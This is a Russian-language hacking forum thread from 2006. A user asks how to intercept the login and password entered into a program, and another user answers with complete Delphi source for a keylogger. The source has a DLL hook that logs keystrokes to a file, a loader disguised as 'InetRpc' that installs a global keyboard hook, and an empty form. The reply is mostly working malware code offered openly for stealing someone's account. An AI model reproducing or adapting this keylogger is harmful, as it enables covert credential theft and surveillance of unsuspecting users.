Клавиатурный шпион?...
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Клавиатурный шпион?... - 2006-03-07 21:13:07
|
|
|
dogged
Сообщений: 12
Оценки: 0
Присоединился: 2006-03-07 21:03:58
|
Подскажите ламеру начинающему…
Есть прога, в которой нужно перехватить аккаунт (логин+пароль), но я не могу найти такой клавиатурный шпион, который бы смог это сделать.
Проблема в том, что эта прога как-то по-своему работает с клавиатурой, и вместо логина и пароля в лог ложится что-то вроде:
11111111111 [tab] 11111111 [enter]
Я перепробовал много разных кейлоггеров и сам писал на Delphi7, но он выдал то-же самое [sm=sad.gif]
Кто знает, чо это за байда и как ее обойти?
|
|
|
|
|
Клавиатурный шпион?... - 2006-03-11 21:01:25
|
|
|
Tages
Сообщений: 30
Оценки: 0
Присоединился: 2006-03-09 01:02:16
|
Вот исходник одного из них, разбирайся сам… Состоит из 3-х файлов.
Библиотеки INETPC.DPR
library inetpc;
uses
SysUtils, windоws,
Classes;
{$R *.res}
Function Timer(code,vpar,ipar:integer):integer; stdcall;
const
logpath='D:\Max\Word\popalilis.log';
var
f: TextFile;
begin
AssignFile (f,logpath) ;
if fileexists(logpath) then
Append(f)
else
Rewrite(f);
Writeln(f, DateToStr(Date),' ', TimeToStr(Time),' '+chr(MapVirtualKey(vpar,2)));
// display the time on the form's caption
{Note This could have been done with the following line of code:
Caption := TimeToStr(Time);}
CloseFile(f);
Timer:=CallNextHookEx(0, code, vpar, ipar)
end;
exports
Timer;
begin
end.
Следующий INETRPC.DPR(вызывает библиотеку которая и работает с клавой, туда и мишь можно повесить[sm=10.gif])
program InetRpc;
{%File 'inetpc.dpr'}
uses
forms,
windоws,
forma in 'forma.pas' {Form1};
{$R *.res}
var
hook:HHook;
hdll:THandle;
{msg:Tmsg;}
begin
hdll:=loadlibrary('inetpc.dll');
hook:=setwindоwshookex(WH_KEYBOARD, GetProcAddress(hDLL,'Timer'),loadlibrary('inetpc.dll'),0);
while true do
Application.HandleMessage;
{application.Initialize;
Application.CreateForm(TForm1, Form1);
application.Run }
end.
Ну и сама форма forma.pas
unit forma;
interface
uses
windоws, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TоЬjесt);
procedure idle(Sender: TоЬjесt;var Done:boolean);
private
public
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TоЬjесt);
begin
application.OnIdle:=idle
end;
procedure TForm1.idle(Sender: TоЬjесt;var Done:boolean);
begin
{}
end;
end.
Дерзай[sm=4.gif]
|
|
|
|
|
|
